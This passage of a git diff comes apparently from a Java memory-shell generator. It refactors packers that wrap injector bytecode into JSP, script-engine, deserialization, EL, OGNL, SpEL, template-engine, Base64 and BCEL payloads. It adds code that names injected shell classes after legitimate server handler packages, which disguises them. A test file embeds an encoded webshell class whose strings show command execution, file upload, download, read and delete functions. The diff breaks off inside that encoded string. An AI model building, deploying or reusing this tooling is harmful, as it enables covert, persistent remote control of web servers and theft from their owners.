- byte[] pack(GenerateResult generateResult); + String pack(GenerateResult generateResult); /** * 部分打包器可能需要配置来进行额外的配置项 @@ -33,38 +33,50 @@ public interface Packer { @Getter static enum INSTANCE { + /** + * Base64 + */ + Base64("Base64", new Base64Packer()), + + /** + * BCEL + */ + BCEL("BCEL", new BCELPacker()), + /** * JSP 打包器 */ - JSP(new JspPacker()), + JSP("JSP", new JspPacker()), /** * 脚本引擎打包器 */ - ScriptEngine(new ScriptEnginePacker()), + ScriptEngine("脚本引擎", new ScriptEnginePacker()), /** * 反序列化打包器 */ - Deserialize(new DeserializePacker()), + Deserialize("反序列化(Only CB4, 1.9.x)", new DeserializePacker()), /** * EL */ - EL(new ELPacker()), + EL("EL 表达式", new ELPacker()), - Ognl(new OgnlPacker()), + OGNL("OGNL 表达式", new OGNLPacker()), - SpEL(new SpELPacker()), + SpEL("SpEL 表达式", new SpELPacker()), - Velocity(new VelocityPacker()), + Freemarker("Freemarker", new FreemarkerPacker()), - Freemarker(new FreemarkerPacker()), + Velocity("Velocity", new VelocityPacker()), ; + private final String desc; private final Packer packer; - INSTANCE(Packer packer) { + INSTANCE(String desc, Packer packer) { + this.desc = desc; this.packer = packer; } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java index bd20265b..ba866f24 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java @@ -25,14 +25,13 @@ public class ScriptEnginePacker implements Packer { @Override @SneakyThrows - public byte[] pack(GenerateResult generateResult) { + public String pack(GenerateResult generateResult) { String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); String injectorClassName = generateResult.getInjectorClassName(); return jsTemplate.replace("{{className}}", injectorClassName) .replace("{{base64Str}}", injectorBytesBase64Str) .replace("\n", "") .replaceAll("(?m)^[ \t]+|[ \t]+$", "") - .replaceAll("[ \t]{2,}", " ") - .getBytes(); + .replaceAll("[ \t]{2,}", " "); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java index 0884277a..10ec8b02 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java @@ -24,8 +24,8 @@ public class SpELPacker implements Packer { } @Override - public byte[] pack(GenerateResult generateResult) { - byte[] scriptBytes = scriptEnginePacker.pack(generateResult); - return template.replace("{{script}}", new String(scriptBytes)).getBytes(); + public String pack(GenerateResult generateResult) { + String script = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java index 500f4358..4638fd3b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java @@ -24,8 +24,8 @@ public class VelocityPacker implements Packer { } @Override - public byte[] pack(GenerateResult generateResult) { - byte[] scriptBytes = scriptEnginePacker.pack(generateResult); - return template.replace("{{script}}", new String(scriptBytes)).getBytes(); + public String pack(GenerateResult generateResult) { + String script = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java index 266c50ff..16ff0ee8 100644 --- a/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java @@ -1,5 +1,7 @@ package com.reajason.javaweb.util; +import com.reajason.javaweb.config.Server; + import java.io.ByteArrayOutputStream; import java.io.IOException; import java.security.SecureRandom; @@ -24,6 +26,14 @@ public class CommonUtil { "com.google.gso", "ch.qos.logback" }; + private static final String[] MIDDLEWARE_NAMES = { + "Error", + "Log", + "Report", + "Auth", + "OAuth", + "Checker" + }; public static byte[] gzipCompress(byte[] data) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); @@ -55,4 +65,22 @@ public class CommonUtil { public static String generateInjectorClassName() { return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)]; } -} + + public static String generateShellClassName(Server server, String shellType) { + String packageName = switch (server) { + case Jetty -> "org.eclipse.jetty.servlet.handlers"; + case Undertow, JBossEAP7, WildFly -> "io.undertow.servlet.handlers"; + case SpringMVC -> "org.springframework.boot.mvc.handlers"; + case SpringWebflux -> "org.springframework.boot.webflux.handlers"; + case WebSphere -> "com.ibm.ws.webcontainer.handlers"; + case WebLogic -> "weblogic.servlet.internal.handlers"; + case Resin -> "com.caucho.server.dispatch.handlers"; + default -> "org.apache.catalina.web.handlers"; + }; + return packageName + + "." + getRandomString(1) + + "." + getRandomString(1) + + "." + getRandomString(1) + + "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType; + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java b/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java index dc004944..775e24a5 100644 --- a/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java +++ b/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java @@ -13,8 +13,6 @@ import net.bytebuddy.matcher.ElementMatchers; import net.bytebuddy.pool.TypePool; import org.junit.jupiter.api.Test; -import java.nio.file.Files; -import java.nio.file.Paths; import java.util.logging.Logger; import static org.junit.jupiter.api.Assertions.assertNotEquals; @@ -88,7 +86,7 @@ class LogRemoveVisitorWrapperTest { .method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE)) .make(); byte[] bytes = make.getBytes(); - Files.write(Paths.get("xx.class"), bytes); +// Files.write(Paths.get("xx.class"), bytes); Class modifiedClass = make.load(getClass().getClassLoader()).getLoaded(); Object instance = modifiedClass.getDeclaredConstructor().newInstance(); modifiedClass.getMethod("methodWithLogs").invoke(instance); diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/packer/BCELPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/packer/BCELPackerTest.java new file mode 100644 index 00000000..6866bf4c --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/packer/BCELPackerTest.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import org.apache.commons.codec.binary.Base64; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * @author ReaJason + * @since 2024/12/19 + */ +class BCELPackerTest { + BCELPacker packer = new BCELPacker(); + @Test + void test(){ + byte[] bytes1 = Base64.decodeBase64("yv66vgADAC0FagcFaAEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2NsYXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcACAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFuZy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQAFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAPCgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5nL05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJlc3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWCgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoAKQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVySW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDdAQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgMAOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRlAQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgABAP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMIAQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEEAQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgBIAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9iamVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRDb250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNlc3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEAAVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcKAAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAUwMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0MAOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxsAQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoMAVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFfAWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dldEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcBcgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwBegF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoBgAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQADKClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGXDAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIBqQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFXCQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEBAAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFtZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxlAQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RSb290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfABAAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3RyZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Igc2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAISAQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRXcml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RNb2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoCPgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwvQXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoMAksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJTAQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRlVmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1pbGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEvbmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQTGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFzaWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0ZpbGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBqYXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoAAQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5kIGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2RpcnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRlc3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5vdCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJnZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5Db2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgABADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxzZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdzQ291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwAJgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMCAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJpbmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0NvdW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3VudFN0cgEADGFyZ3NDb3VudFN0cg